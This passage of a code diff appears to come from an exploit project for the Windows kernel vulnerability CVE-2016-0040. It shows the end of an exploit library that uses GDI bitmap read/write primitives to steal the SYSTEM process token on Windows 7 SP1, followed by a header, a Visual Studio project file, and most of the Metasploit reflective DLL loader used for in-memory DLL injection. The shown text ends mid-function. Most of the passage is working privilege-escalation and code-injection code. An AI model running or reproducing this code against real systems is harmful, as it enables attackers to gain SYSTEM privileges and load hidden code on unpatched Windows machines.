LOG("[-] Unable To Set The Current Process Token\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[+] System Process Token Stolen\n");
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOLEAN TriggerExploit(VOID) {
|
||||||
|
|
||||||
|
PPEB pPeb;
|
||||||
|
HBITMAP hManager, hWorker;
|
||||||
|
EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 };
|
||||||
|
|
||||||
|
LOG("\n");
|
||||||
|
|
||||||
|
pPeb = GetCurrentPeb();
|
||||||
|
|
||||||
|
if (pPeb == NULL) {
|
||||||
|
LOG("[-] Unable To Get The Current PEB\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) {
|
||||||
|
LOG("[-] Unable To Trigger Vulnerability\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[+] Vulnerability Triggered\n");
|
||||||
|
|
||||||
|
LOG("[+] Bitmap Read/Write Primitives Now Available\n");
|
||||||
|
|
||||||
|
if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) {
|
||||||
|
LOG("[-] Unable To Trigger Exploit\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("[+] Privilege Escalation Triggered\n\n");
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
#ifndef __CVE_2016_0040_LIBRARY_H__
|
||||||
|
#define __CVE_2016_0040_LIBRARY_H__
|
||||||
|
|
||||||
|
#include <windef.h>
|
||||||
|
|
||||||
|
BOOLEAN TriggerExploit(VOID);
|
||||||
|
|
||||||
|
#endif //__CVE_2016_0040_LIBRARY_H__
|
|
@ -0,0 +1,88 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>15.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{2B0E925B-9653-42D7-84EF-E47DD89DED3D}</ProjectGuid>
|
||||||
|
<RootNamespace>CVE20160040</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0.15063.0</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>Library</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<TargetName>$(ProjectName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<TargetName>$(ProjectName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Library.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="Library.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,526 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "Metasploit.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define LOG
|
||||||
|
#endif //_DEBUG
|
||||||
|
|
||||||
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
|
HINSTANCE hAppInstance = NULL;
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _ReturnAddress )
|
||||||
|
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||||
|
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||||
|
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||||
|
// available (and no inline asm available under x64).
|
||||||
|
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||||
|
// otherwise the DllMain at the end of this file will be used.
|
||||||
|
|
||||||
|
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||||
|
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||||
|
|
||||||
|
// This is our position independent reflective DLL loader/injector
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||||
|
#else
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// the functions we need
|
||||||
|
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS pGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||||
|
|
||||||
|
USHORT usCounter;
|
||||||
|
|
||||||
|
// the initial location of this image in memory
|
||||||
|
ULONG_PTR uiLibraryAddress;
|
||||||
|
// the kernels base address and later this images newly loaded base address
|
||||||
|
ULONG_PTR uiBaseAddress;
|
||||||
|
|
||||||
|
// variables for processing the kernels export table
|
||||||
|
ULONG_PTR uiAddressArray;
|
||||||
|
ULONG_PTR uiNameArray;
|
||||||
|
ULONG_PTR uiExportDir;
|
||||||
|
ULONG_PTR uiNameOrdinals;
|
||||||
|
DWORD dwHashValue;
|
||||||
|
|
||||||
|
// variables for loading this image
|
||||||
|
ULONG_PTR uiHeaderValue;
|
||||||
|
ULONG_PTR uiValueA;
|
||||||
|
ULONG_PTR uiValueB;
|
||||||
|
ULONG_PTR uiValueC;
|
||||||
|
ULONG_PTR uiValueD;
|
||||||
|
ULONG_PTR uiValueE;
|
||||||
|
|
||||||
|
// STEP 0: calculate our images current base address
|
||||||
|
|
||||||
|
// we will start searching backwards from our callers return address.
|
||||||
|
uiLibraryAddress = caller();
|
||||||
|
|
||||||
|
// loop through memory backwards searching for our images base address
|
||||||
|
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||||
|
{
|
||||||
|
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||||
|
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||||
|
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||||
|
{
|
||||||
|
uiHeaderValue += uiLibraryAddress;
|
||||||
|
// break if we have found a valid MZ/PE header
|
||||||
|
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uiLibraryAddress--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||||
|
|
||||||
|
// get the Process Enviroment Block
|
||||||
|
#ifdef WIN_X64
|
||||||
|
uiBaseAddress = __readgsqword( 0x60 );
|
||||||
|
#else
|
||||||
|
#ifdef WIN_X86
|
||||||
|
uiBaseAddress = __readfsdword( 0x30 );
|
||||||
|
#else WIN_ARM
|
||||||
|
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||||
|
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||||
|
|
||||||
|
// get the first entry of the InMemoryOrder module list
|
||||||
|
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||||
|
while( uiValueA )
|
||||||
|
{
|
||||||
|
// get pointer to current modules name (unicode string)
|
||||||
|
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||||
|
// set bCounter to the length for the loop
|
||||||
|
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||||
|
// clear uiValueC which will store the hash of the module name
|
||||||
|
uiValueC = 0;
|
||||||
|
|
||||||
|
// compute the hash of the module name...
|
||||||
|
do
|
||||||
|
{
|
||||||
|
uiValueC = ror( (DWORD)uiValueC );
|
||||||
|
// normalize to uppercase if the madule name is in lowercase
|
||||||
|
if( *((BYTE *)uiValueB) >= 'a' )
|
||||||
|
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||||
|
else
|
||||||
|
uiValueC += *((BYTE *)uiValueB);
|
||||||
|
uiValueB++;
|
||||||
|
} while( --usCounter );
|
||||||
|
|
||||||
|
// compare the hash with that of kernel32.dll
|
||||||
|
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 3;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||||
|
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||||
|
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||||
|
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
usCounter = 1;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while( usCounter > 0 )
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||||
|
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// we stop searching when we have found everything we need.
|
||||||
|
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the next entry
|
||||||
|
uiValueA = DEREF( uiValueA );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 2: load our image into a new permanent location in memory...
|
||||||
|
|
||||||
|
// get the VA of the NT Header for the PE to be loaded
|
||||||
|
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||||
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
|
// we must now copy over the headers
|
||||||
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
|
uiValueB = uiLibraryAddress;
|
||||||
|
uiValueC = uiBaseAddress;
|
||||||
|
|
||||||
|
while( uiValueA-- )
|
||||||
|
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||||
|
|
||||||
|
// STEP 3: load in all of our sections...
|
||||||
|
|
||||||
|
// uiValueA = the VA of the first section
|
||||||
|
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||||
|
|
||||||
|
// itterate through all sections, loading them into memory.
|
||||||
|
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||||
|
while( uiValueE-- )
|
||||||
|
{
|
||||||
|
// uiValueB is the VA for this section
|
||||||
|
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueC if the VA for this sections data
|
||||||
|
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||||
|
|
||||||
|
// copy the section over
|
||||||
|
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||||
|
|
||||||
|
while( uiValueD-- )
|
||||||
|
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||||
|
|
||||||
|
// get the VA of the next section
|
||||||
|
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 4: process our images import table...
|
||||||
|
|
||||||
|
// uiValueB = the address of the import directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||||
|
|
||||||
|
// we assume there is an import table to process
|
||||||
|
// uiValueC is the first entry in the import table
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// iterate through all imports
|
||||||
|
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||||
|
{
|
||||||
|
// use LoadLibraryA to load the imported module into memory
|
||||||
|
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||||
|
|
||||||
|
// uiValueD = VA of the OriginalFirstThunk
|
||||||
|
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||||
|
|
||||||
|
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||||
|
|
||||||
|
// itterate through all imported functions, importing by ordinal if no name present
|
||||||
|
while( DEREF(uiValueA) )
|
||||||
|
{
|
||||||
|
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||||
|
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||||
|
{
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// get the VA of this functions import by name struct
|
||||||
|
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||||
|
|
||||||
|
// use GetProcAddress and patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||||
|
}
|
||||||
|
// get the next imported function
|
||||||
|
uiValueA += sizeof( ULONG_PTR );
|
||||||
|
if( uiValueD )
|
||||||
|
uiValueD += sizeof( ULONG_PTR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next import
|
||||||
|
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 5: process all of our images relocations...
|
||||||
|
|
||||||
|
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||||
|
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// uiValueB = the address of the relocation directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||||
|
|
||||||
|
// check if their are any relocations present
|
||||||
|
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||||
|
{
|
||||||
|
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||||
|
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||||
|
|
||||||
|
// and we itterate through all entries...
|
||||||
|
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||||
|
{
|
||||||
|
// uiValueA = the VA for this relocation block
|
||||||
|
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||||
|
|
||||||
|
// uiValueB = number of entries in this relocation block
|
||||||
|
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||||
|
|
||||||
|
